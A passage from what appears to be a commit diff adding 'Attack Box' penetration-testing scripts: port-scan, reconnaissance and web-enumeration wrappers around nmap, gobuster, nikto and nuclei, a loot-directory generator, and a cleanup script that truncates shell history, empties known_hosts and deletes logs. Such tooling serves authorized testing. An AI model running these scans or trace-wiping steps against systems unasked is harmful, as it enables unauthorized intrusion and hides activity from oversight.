echo -e "${GREEN} ✓ Auth log has $AUTH_LOG_SIZE entries${NC}"
fi
# Check Firewall Status
echo -e "\n${BLUE}[*] Firewall Status:${NC}"
if command -v ufw >/dev/null 2>&1; then
UFW_STATUS=$(ufw status 2>/dev/null | head -1)
echo -e "${GREEN} ✓ UFW: $UFW_STATUS${NC}"
fi
if command -v iptables >/dev/null 2>&1; then
IPTABLES_RULES=$(iptables -L 2>/dev/null | grep -c "Chain")
echo -e "${GREEN} ✓ iptables: $IPTABLES_RULES chains configured${NC}"
fi
echo ""
echo -e "${BLUE}=== OPSEC CHECK COMPLETE ===${NC}"
echo ""
# Provide recommendations based on findings
echo -e "${BLUE}[*] Recommendations:${NC}"
if ! pgrep openvpn > /dev/null 2>&1; then
echo -e "${YELLOW} • Consider using VPN for enhanced anonymity${NC}"
fi
if ! systemctl is-active tor >/dev/null 2>&1; then
echo -e "${YELLOW} • Consider enabling Tor for additional anonymity${NC}"
fi
echo -e "${GREEN} • Regularly monitor external IP changes${NC}"
echo -e "${GREEN} • Clear logs periodically during operations${NC}"
echo -e "${GREEN} • Use proxychains for sensitive network operations${NC}"
+153
View File
@@ -0,0 +1,153 @@
#!/bin/bash
# Automated Port Scanning Script for Attack Box
# Usage: ./port_scan_automation.sh <target> [quick|full|stealth]
set -e
if [ $# -eq 0 ]; then
echo "Usage: $0 <target> [quick|full|stealth]"
echo "Example: $0 192.168.1.1 full"
echo " $0 example.com quick"
exit 1
fi
TARGET="$1"
SCAN_TYPE="${2:-quick}"
WORKSPACE="/root/operator/scans/nmap/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${GREEN}[+] Starting port scan for: $TARGET${NC}"
echo -e "${BLUE}[*] Scan type: $SCAN_TYPE${NC}"
# Create workspace
mkdir -p "$WORKSPACE"
cd "$WORKSPACE"
# Create log file
LOG_FILE="portscan_$DATE.log"
echo "Port scan started at $(date)" > "$LOG_FILE"
# Function to log and execute
log_and_run() {
echo -e "${YELLOW}[*] $1${NC}"
echo "[$(date)] $1" >> "$LOG_FILE"
eval "$2" 2>&1 | tee -a "$LOG_FILE"
}
case $SCAN_TYPE in
"quick")
echo -e "${GREEN}[+] Quick Port Scan (Top 1000 ports)${NC}"
log_and_run "Nmap quick scan" "nmap -T4 -F $TARGET -oA nmap_quick_$DATE"
log_and_run "Rustscan quick" "rustscan -a $TARGET --ulimit 5000 -- -A"
;;
"full")
echo -e "${GREEN}[+] Full Port Scan (All 65535 ports)${NC}"
log_and_run "Nmap SYN scan all ports" "nmap -sS -T4 -p- $TARGET -oA nmap_syn_all_$DATE"
log_and_run "Nmap service detection on open ports" "nmap -sV -sC -T4 $TARGET -oA nmap_services_$DATE"
log_and_run "Nmap UDP scan top ports" "nmap -sU --top-ports 1000 $TARGET -oA nmap_udp_$DATE"
log_and_run "Masscan all ports" "masscan -p1-65535 $TARGET --rate=1000 -e tun0 2>/dev/null || echo 'Masscan failed - check interface'"
;;
"stealth")
echo -e "${GREEN}[+] Stealth Port Scan${NC}"
log_and_run "Nmap stealth SYN scan" "nmap -sS -T2 -f --source-port 53 $TARGET -oA nmap_stealth_$DATE"
log_and_run "Nmap decoy scan" "nmap -D RND:10 -T2 $TARGET -oA nmap_decoy_$DATE"
;;
*)
echo -e "${RED}[-] Invalid scan type. Use: quick, full, or stealth${NC}"
exit 1
;;
esac
# Additional enumeration for common services
echo -e "${GREEN}[+] Service-specific enumeration${NC}"
# Check for common vulnerabilities
log_and_run "Nmap vulnerability scripts" "nmap --script vuln $TARGET -oA nmap_vulns_$DATE"
# Extract open ports for further enumeration
if [ -f "nmap_*.gnmap" ]; then
OPEN_PORTS=$(grep "open" nmap_*.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | sort -n | uniq | tr '\n' ',')
echo -e "${BLUE}[*] Open ports found: $OPEN_PORTS${NC}"
# Service-specific scans
if echo "$OPEN_PORTS" | grep -q "21"; then
log_and_run "FTP enumeration" "nmap --script ftp-* -p 21 $TARGET"
fi
if echo "$OPEN_PORTS" | grep -q "22"; then
log_and_run "SSH enumeration" "nmap --script ssh-* -p 22 $TARGET"
fi
if echo "$OPEN_PORTS" | grep -q "53"; then
log_and_run "DNS enumeration" "nmap --script dns-* -p 53 $TARGET"
if command -v dig &> /dev/null; then
log_and_run "DNS zone transfer attempt" "dig @$TARGET axfr"
fi
fi
if echo "$OPEN_PORTS" | grep -E "(80|443|8080|8443)" &> /dev/null; then
log_and_run "HTTP enumeration" "nmap --script http-* -p 80,443,8080,8443 $TARGET"
fi
if echo "$OPEN_PORTS" | grep -q "139\|445"; then
log_and_run "SMB enumeration" "nmap --script smb-* -p 139,445 $TARGET"
if command -v enum4linux &> /dev/null; then
log_and_run "enum4linux scan" "enum4linux $TARGET"
fi
fi
if echo "$OPEN_PORTS" | grep -q "1433"; then
log_and_run "MSSQL enumeration" "nmap --script ms-sql-* -p 1433 $TARGET"
fi
if echo "$OPEN_PORTS" | grep -q "3306"; then
log_and_run "MySQL enumeration" "nmap --script mysql-* -p 3306 $TARGET"
fi
fi
# Generate summary
echo -e "${GREEN}[+] Port Scan Complete!${NC}"
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
# Count open ports
if ls nmap_*.gnmap 1> /dev/null 2>&1; then
TOTAL_OPEN=$(grep -h "open" nmap_*.gnmap | wc -l)
echo -e "${BLUE}[*] Total open ports found: $TOTAL_OPEN${NC}"
fi
# Generate simple report
cat > "portscan_report.txt" << EOF
Port Scan Report for $TARGET
=============================
Scan Type: $SCAN_TYPE
Date: $(date)
Workspace: $WORKSPACE
Open Ports:
$(grep -h "open" nmap_*.gnmap 2>/dev/null | head -20 || echo "No open ports found in gnmap files")
Summary:
- Scan completed successfully
- Results saved in multiple formats (.nmap, .xml, .gnmap)
- Log file: $LOG_FILE
Next Steps:
1. Review service versions for known vulnerabilities
2. Run targeted service enumeration
3. Check for default credentials
4. Look for misconfigurations
EOF
echo -e "${GREEN}[+] Report generated: portscan_report.txt${NC}"
echo "Port scan completed at $(date)" >> "$LOG_FILE"
+123
View File
@@ -0,0 +1,123 @@
#!/bin/bash
# Automated Reconnaissance Script for Attack Box
# Usage: ./recon_automation.sh <target_domain>
set -e
if [ $# -eq 0 ]; then
echo "Usage: $0 <target_domain>"
echo "Example: $0 example.com"
exit 1
fi
TARGET="$1"
WORKSPACE="/root/operator/scans/reachability/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${GREEN}[+] Starting reconnaissance for: $TARGET${NC}"
echo -e "${BLUE}[*] Creating workspace directory: $WORKSPACE${NC}"
# Create workspace
mkdir -p "$WORKSPACE"
cd "$WORKSPACE"
# Create log file
LOG_FILE="recon_$DATE.log"
echo "Reconnaissance started at $(date)" > "$LOG_FILE"
# Function to log and execute
log_and_run() {
echo -e "${YELLOW}[*] $1${NC}"
echo "[$(date)] $1" >> "$LOG_FILE"
eval "$2" 2>&1 | tee -a "$LOG_FILE"
}
# Subdomain enumeration
echo -e "${GREEN}[+] Phase 1: Subdomain Enumeration${NC}"
log_and_run "Running Subfinder" "subfinder -d $TARGET -o subdomains_subfinder.txt"
log_and_run "Running Assetfinder" "assetfinder --subs-only $TARGET > subdomains_assetfinder.txt"
log_and_run "Running Amass" "amass enum -passive -d $TARGET -o subdomains_amass.txt"
# Combine and deduplicate subdomains
log_and_run "Combining subdomain lists" "cat subdomains_*.txt | sort -u > all_subdomains.txt"
# Check which subdomains are alive
echo -e "${GREEN}[+] Phase 2: Checking Live Subdomains${NC}"
log_and_run "Checking live subdomains with httprobe" "cat all_subdomains.txt | httprobe -c 50 > live_subdomains.txt"
# Port scanning on live subdomains
echo -e "${GREEN}[+] Phase 3: Port Scanning${NC}"
log_and_run "Running Nmap on live subdomains" "nmap -T4 -iL live_subdomains.txt -oA nmap_scan"
# Web technology detection
echo -e "${GREEN}[+] Phase 4: Web Technology Detection${NC}"
log_and_run "Running whatweb" "whatweb -i live_subdomains.txt -a 3 > whatweb_results.txt"
# Screenshot and visual recon
echo -e "${GREEN}[+] Phase 5: Visual Reconnaissance${NC}"
if command -v aquatone &> /dev/null; then
log_and_run "Taking screenshots with Aquatone" "cat live_subdomains.txt | aquatone -out aquatone_report"
fi
# Directory bruteforcing
echo -e "${GREEN}[+] Phase 6: Directory Enumeration${NC}"
mkdir -p directory_enum
while IFS= read -r url; do
if [[ $url == http* ]]; then
clean_url=$(echo "$url" | sed 's|http://||g' | sed 's|https://||g' | tr '/' '_')
log_and_run "Running gobuster on $url" "gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -o directory_enum/gobuster_$clean_url.txt -q"
fi
done < live_subdomains.txt
# Vulnerability scanning with Nuclei
echo -e "${GREEN}[+] Phase 7: Vulnerability Scanning${NC}"
log_and_run "Running Nuclei" "nuclei -l live_subdomains.txt -t ~/nuclei-templates/ -o nuclei_results.txt"
# Summary
echo -e "${GREEN}[+] Reconnaissance Complete!${NC}"
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
echo -e "${BLUE}[*] Total subdomains found: $(wc -l < all_subdomains.txt)${NC}"
echo -e "${BLUE}[*] Live subdomains: $(wc -l < live_subdomains.txt)${NC}"
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
# Generate simple HTML report
cat > "recon_report.html" << EOF
<!DOCTYPE html>
<html>
<head>
<title>Reconnaissance Report - $TARGET</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
h1 { color: #333; }
h2 { color: #666; }
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
</style>
</head>
<body>
<h1>Reconnaissance Report for $TARGET</h1>
<div class="stats">
<h2>Statistics</h2>
<p>Total Subdomains Found: $(wc -l < all_subdomains.txt)</p>
<p>Live Subdomains: $(wc -l < live_subdomains.txt)</p>
<p>Scan Date: $(date)</p>
</div>
<h2>Live Subdomains</h2>
<pre>$(cat live_subdomains.txt)</pre>
<h2>Port Scan Results</h2>
<pre>$(cat nmap_scan.nmap 2>/dev/null || echo "Nmap results not available")</pre>
</body>
</html>
EOF
echo -e "${GREEN}[+] HTML report generated: recon_report.html${NC}"
echo "Reconnaissance completed at $(date)" >> "$LOG_FILE"
+93
View File
@@ -0,0 +1,93 @@
#!/bin/bash
# Trash Cleanup Script
# Safely removes operational artifacts and cleans system
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
echo -e "${BLUE}=== OPERATIONAL CLEANUP ===${NC}"
echo ""
# Get working directory
if [ -n "$1" ]; then
WORK_DIR="$1"
else
# Auto-detect working directory
if [ -d "/root/operator" ]; then
WORK_DIR="/root/operator"
else
# Find deployment-named directory
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
if [ -z "$WORK_DIR" ]; then
WORK_DIR="/root"
fi
fi
fi
echo -e "${BLUE}[*] Working directory: $WORK_DIR${NC}"
# Clean scan results older than 7 days
if [ -d "$WORK_DIR/scans" ]; then
echo -e "${YELLOW}[*] Cleaning old scan results (>7 days)${NC}"
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.xml" -delete 2>/dev/null
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.txt" -delete 2>/dev/null
find "$WORK_DIR/scans" -type f -mtime +7 -name "*.log" -delete 2>/dev/null
fi
# Clean temporary loot
if [ -d "$WORK_DIR/loot" ]; then
echo -e "${YELLOW}[*] Cleaning temporary loot files${NC}"
find "$WORK_DIR/loot" -name "*.tmp" -delete 2>/dev/null
find "$WORK_DIR/loot" -name "temp_*" -delete 2>/dev/null
fi
# Clean logs older than 30 days
if [ -d "$WORK_DIR/logs" ]; then
echo -e "${YELLOW}[*] Cleaning old logs (>30 days)${NC}"
find "$WORK_DIR/logs" -type f -mtime +30 -delete 2>/dev/null
fi
# Clean empty directories
echo -e "${YELLOW}[*] Removing empty directories${NC}"
find "$WORK_DIR" -type d -empty -delete 2>/dev/null
# Clean system temp files
echo -e "${YELLOW}[*] Cleaning system temporary files${NC}"
rm -f /tmp/nmap_* 2>/dev/null
rm -f /tmp/scan_* 2>/dev/null
rm -f /tmp/exploit_* 2>/dev/null
rm -f /tmp/*.tmp 2>/dev/null
# Rotate command history
echo -e "${YELLOW}[*] Rotating command history${NC}"
if [ -f ~/.bash_history ]; then
tail -n 100 ~/.bash_history > /tmp/hist_tmp && mv /tmp/hist_tmp ~/.bash_history
fi
# Clean network artifacts
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
> ~/.ssh/known_hosts
# Update file permissions
echo -e "${YELLOW}[*] Updating file permissions${NC}"
if [ -d "$WORK_DIR" ]; then
chmod -R 750 "$WORK_DIR" 2>/dev/null
find "$WORK_DIR" -name "*.sh" -exec chmod +x {} \; 2>/dev/null
fi
# Compress old files
echo -e "${YELLOW}[*] Compressing old files${NC}"
if [ -d "$WORK_DIR/reports" ]; then
find "$WORK_DIR/reports" -name "*.txt" -mtime +7 -exec gzip {} \; 2>/dev/null
fi
echo ""
echo -e "${GREEN}=== CLEANUP COMPLETE ===${NC}"
echo -e "${BLUE}Summary:${NC}"
echo -e "${GREEN} ✓ Old scan results cleaned${NC}"
echo -e "${GREEN} ✓ Temporary files removed${NC}"
echo -e "${GREEN} ✓ Logs rotated${NC}"
echo -e "${GREEN} ✓ Permissions updated${NC}"
echo -e "${GREEN} ✓ Network artifacts cleared${NC}"
File diff suppressed because it is too large Load Diff
+230
View File
@@ -0,0 +1,230 @@
#!/bin/bash
# Web Application Enumeration Script for Attack Box
# Usage: ./web_enum_automation.sh <target_url>
set -e
if [ $# -eq 0 ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
echo " $0 http://192.168.1.100:8080"
exit 1
fi
TARGET_URL="$1"
# Extract domain/IP for workspace naming
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${GREEN}[+] Starting web enumeration for: $TARGET_URL${NC}"
# Create workspace
mkdir -p "$WORKSPACE"
cd "$WORKSPACE"
# Create log file
LOG_FILE="web_enum_$DATE.log"
echo "Web enumeration started at $(date)" > "$LOG_FILE"
# Function to log and execute
log_and_run() {
echo -e "${YELLOW}[*] $1${NC}"
echo "[$(date)] $1" >> "$LOG_FILE"
eval "$2" 2>&1 | tee -a "$LOG_FILE"
}
# Basic web info gathering
echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}"
log_and_run "Getting HTTP headers" "curl -I $TARGET_URL"
log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt"
log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml"
# Technology detection
echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}"
log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL"
if command -v wappalyzer &> /dev/null; then
log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL"
fi
# Directory and file enumeration
echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}"
# Gobuster with common wordlist
log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q"
# Gobuster with bigger wordlist
if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then
log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s"
fi
# File extension enumeration
log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q"
# Alternative directory tools
if command -v dirb &> /dev/null; then
log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt"
fi
if command -v ffuf &> /dev/null; then
log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s"
fi
# Subdomain enumeration (if it's a domain)
if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then
echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}"
DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1)
log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q"
fi
# Web vulnerability scanning
echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}"
log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt"
# Nuclei web templates
if command -v nuclei &> /dev/null; then
log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt"
fi
# SSL/TLS testing (for HTTPS)
if [[ $TARGET_URL == https* ]]; then
echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}"
DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g')
log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout"
if command -v sslscan &> /dev/null; then
log_and_run "SSLScan" "sslscan $DOMAIN"
fi
if command -v testssl.sh &> /dev/null; then
log_and_run "TestSSL" "testssl.sh $TARGET_URL"
fi
fi
# Web application firewall detection
echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}"
if command -v wafw00f &> /dev/null; then
log_and_run "WAF detection" "wafw00f $TARGET_URL"
fi
# Content discovery and analysis
echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}"
# Find interesting files and directories
echo -e "${BLUE}[*] Analyzing discovered content...${NC}"
if [ -f "gobuster_common.txt" ]; then
echo "Interesting directories found:" >> content_analysis.txt
grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt
fi
# Parameter discovery
if command -v arjun &> /dev/null; then
log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt"
fi
# JavaScript analysis
log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt"
# Generate summary report
echo -e "${GREEN}[+] Web Enumeration Complete!${NC}"
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
# Count discovered items
DIRS_FOUND=0
FILES_FOUND=0
if [ -f "gobuster_common.txt" ]; then
DIRS_FOUND=$(wc -l < gobuster_common.txt)
fi
if [ -f "gobuster_files.txt" ]; then
FILES_FOUND=$(wc -l < gobuster_files.txt)
fi
echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}"
echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}"
# Generate HTML report
cat > "web_enum_report.html" << EOF
<!DOCTYPE html>
<html>
<head>
<title>Web Enumeration Report - $TARGET_URL</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
h1 { color: #333; }
h2 { color: #666; }
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
.finding { background: #ffffcc; padding: 5px; margin: 5px 0; }
</style>
</head>
<body>
<h1>Web Enumeration Report</h1>
<p><strong>Target:</strong> $TARGET_URL</p>
<div class="stats">
<h2>Statistics</h2>
<p>Directories Found: $DIRS_FOUND</p>
<p>Files Found: $FILES_FOUND</p>
<p>Scan Date: $(date)</p>
</div>
<h2>Discovered Directories</h2>
<pre>$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")</pre>
<h2>Discovered Files</h2>
<pre>$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")</pre>
<h2>Technology Stack</h2>
<pre>$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")</pre>
<h2>Security Findings</h2>
<pre>$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")</pre>
</body>
</html>
EOF
echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}"
# Next steps suggestions
cat > "next_steps.txt" << EOF
Next Steps for $TARGET_URL:
===========================
1. Manual Testing:
- Browse discovered directories manually
- Test for authentication bypasses
- Look for file upload functionality
- Check for SQL injection points
2. Focused Scanning:
- Run OWASP ZAP or Burp Suite
- Test for XSS vulnerabilities
- Check for CSRF tokens
- Test API endpoints if found
3. Exploitation:
- Research CVEs for identified technologies
- Test default credentials
- Look for configuration files with sensitive data
- Check for local file inclusion vulnerabilities
4. Further Enumeration:
- Use custom wordlists for your target
- Check for backup files (.bak, .old, .swp)
- Look for version control directories (.git, .svn)
- Test for subdomain takeover
Files to review:
$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found")
EOF
echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}"
echo "Web enumeration completed at $(date)" >> "$LOG_FILE"
+233
View File
@@ -0,0 +1,233 @@
#!/usr/bin/env python3
"""
Workspace Structure Generator for Attack Box
Creates trashpanda-style penetration testing directory structure
"""
import os
import time
from pathlib import Path
def create_workspace_structure(base_name="/root/operator", operator="operator"):
"""Create a comprehensive penetration testing directory structure like trashpanda."""
# Main engagement directory
base_dir = os.path.abspath(base_name)
# Primary directories (based on trashpanda structure)
main_dirs = {
"tools": "Downloaded/compiled tools and scripts",
"scans": "All scan results organized by type",
"logs": "Execution logs and debug output",
"loot": "Extracted credentials, hashes, and sensitive data",
"payloads": "Custom payloads and exploit code",
"targets": "Target lists and reconnaissance data",
"screenshots": "Visual evidence and GUI captures",
"reports": "Draft reports and documentation",
"notes": "Manual notes and observations",
"exploits": "Working exploits and proof-of-concepts",
"wordlists": "Custom and downloaded wordlists",
"pcaps": "Network captures and traffic analysis"
}
# Scan subdirectories (comprehensive enumeration structure)
scan_subdirs = {
"nmap": "Network discovery and port scanning",
"dns": "DNS enumeration and zone transfers",
"snmp": "SNMP enumeration and community strings",
"smb": "SMB/NetBIOS enumeration and shares",
"web": "Web application scanning and enumeration",
"ssl": "SSL/TLS certificate and cipher analysis",
"vulns": "Vulnerability scanning and NSE scripts",
"ldap": "LDAP enumeration and directory services",
"ftp": "FTP enumeration and anonymous access",
"ssh": "SSH enumeration and key analysis",
"databases": "Database enumeration (MySQL, MSSQL, etc)",
"custom": "Custom and manual scans",
"reachability": "Network reachability test results"
}
# Loot subdirectories (for extracted data)
loot_subdirs = {
"credentials": "Usernames, passwords, and authentication data",
"hashes": "Password hashes and cracking results",
"keys": "SSH keys, certificates, and crypto material",
"configs": "Configuration files and sensitive data",
"databases": "Extracted database contents",
"files": "Interesting files and documents"
}
print(f"[+] Creating penetration testing structure: {base_dir}")
# Create main directories
for dir_name, description in main_dirs.items():
dir_path = os.path.join(base_dir, dir_name)
Path(dir_path).mkdir(parents=True, exist_ok=True)
# Create README files for documentation
readme_path = os.path.join(dir_path, "README.md")
if not os.path.exists(readme_path):
with open(readme_path, 'w') as f:
f.write(f"# {dir_name.upper()}\n\n")
f.write(f"{description}\n\n")
f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
# Create scan subdirectories
scans_dir = os.path.join(base_dir, "scans")
for subdir, description in scan_subdirs.items():
subdir_path = os.path.join(scans_dir, subdir)
Path(subdir_path).mkdir(parents=True, exist_ok=True)
readme_path = os.path.join(subdir_path, "README.md")
if not os.path.exists(readme_path):
with open(readme_path, 'w') as f:
f.write(f"# {subdir.upper()} SCANS\n\n")
f.write(f"{description}\n\n")
# Create loot subdirectories
loot_dir = os.path.join(base_dir, "loot")
for subdir, description in loot_subdirs.items():
subdir_path = os.path.join(loot_dir, subdir)
Path(subdir_path).mkdir(parents=True, exist_ok=True)
readme_path = os.path.join(subdir_path, "README.md")
if not os.path.exists(readme_path):
with open(readme_path, 'w') as f:
f.write(f"# {subdir.upper()}\n\n")
f.write(f"{description}\n\n")
# Create engagement log
engagement_log = os.path.join(base_dir, "logs", "engagement.log")
with open(engagement_log, 'w') as f:
f.write(f"Attack Box Engagement Log\n")
f.write(f"=========================\n")
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: {operator}\n")
f.write(f"Tool: Attack Box Manual Testing Interface\n\n")
# Create initial target file
target_template = os.path.join(base_dir, "targets", "targets.txt")
if not os.path.exists(target_template):
with open(target_template, 'w') as f:
f.write("# Target List\n")
f.write("# Add IPs, ranges, or hostnames (one per line)\n")
f.write("# Examples:\n")
f.write("# 192.168.1.1\n")
f.write("# 192.168.1.0/24\n")
f.write("# 192.168.1.1-50\n")
f.write("# target.domain.com\n\n")
# Create manual commands file
manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt")
with open(manual_commands, 'w') as f:
f.write("# Manual Commands for Further Enumeration\n")
f.write("# ======================================\n")
f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
f.write("# Example commands:\n")
f.write("# nmap -sS -T4 --top-ports 1000 <target>\n")
f.write("# gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt\n")
f.write("# nikto -h http://<target>\n")
f.write("# sqlmap -u http://<target>?id=1 --dbs\n\n")
# Create notes template
notes_template = os.path.join(base_dir, "notes", "engagement_notes.md")
with open(notes_template, 'w') as f:
f.write(f"# Engagement Notes\n\n")
f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n")
f.write(f"**Operator:** {operator}\n")
f.write(f"**Engagement:** TBD\n\n")
f.write(f"## Scope\n")
f.write(f"- [ ] Define target scope\n")
f.write(f"- [ ] Identify key assets\n")
f.write(f"- [ ] Document rules of engagement\n\n")
f.write(f"## Methodology\n")
f.write(f"1. **Reconnaissance**\n")
f.write(f" - Passive information gathering\n")
f.write(f" - DNS enumeration\n")
f.write(f" - OSINT collection\n\n")
f.write(f"2. **Scanning & Enumeration**\n")
f.write(f" - Network discovery\n")
f.write(f" - Port scanning\n")
f.write(f" - Service enumeration\n\n")
f.write(f"3. **Vulnerability Assessment**\n")
f.write(f" - Automated scanning\n")
f.write(f" - Manual testing\n")
f.write(f" - Vulnerability validation\n\n")
f.write(f"4. **Exploitation**\n")
f.write(f" - Proof of concept development\n")
f.write(f" - Privilege escalation\n")
f.write(f" - Lateral movement\n\n")
f.write(f"## Key Findings\n")
f.write(f"*Document critical findings here*\n\n")
f.write(f"## Timeline\n")
f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n")
# Create wordlist directory with common lists
wordlist_dir = os.path.join(base_dir, "wordlists")
common_wordlists = os.path.join(wordlist_dir, "common_lists.txt")
with open(common_wordlists, 'w') as f:
f.write("# Common Wordlist Locations\n")
f.write("# =========================\n")
f.write("# Directory enumeration:\n")
f.write("/usr/share/wordlists/dirb/common.txt\n")
f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n")
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n")
f.write("# File enumeration:\n")
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n")
f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n")
f.write("# Subdomain enumeration:\n")
f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n")
f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n")
f.write("# Password attacks:\n")
f.write("/usr/share/wordlists/rockyou.txt\n")
f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n")
# Create scripts directory with useful scripts
scripts_dir = os.path.join(base_dir, "tools", "scripts")
Path(scripts_dir).mkdir(parents=True, exist_ok=True)
quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh")
with open(quick_enum_script, 'w') as f:
f.write("#!/bin/bash\n")
f.write("# Quick enumeration script\n")
f.write("# Usage: ./quick_enum.sh <target_ip>\n\n")
f.write("if [ $# -eq 0 ]; then\n")
f.write(' echo "Usage: $0 <target_ip>"\n')
f.write(" exit 1\n")
f.write("fi\n\n")
f.write("TARGET=$1\n")
f.write("DATE=$(date +%Y%m%d_%H%M%S)\n")
f.write("SCAN_DIR=\"../../scans\"\n\n")
f.write("echo \"[+] Quick enumeration of $TARGET\"\n")
f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n")
f.write("# Quick nmap scan\n")
f.write("echo \"[+] Running quick nmap scan...\"\n")
f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n")
f.write("# Check for web services\n")
f.write("echo \"[+] Checking for web services...\"\n")
f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n")
f.write(" echo \"[+] Web services found, running quick web enum...\"\n")
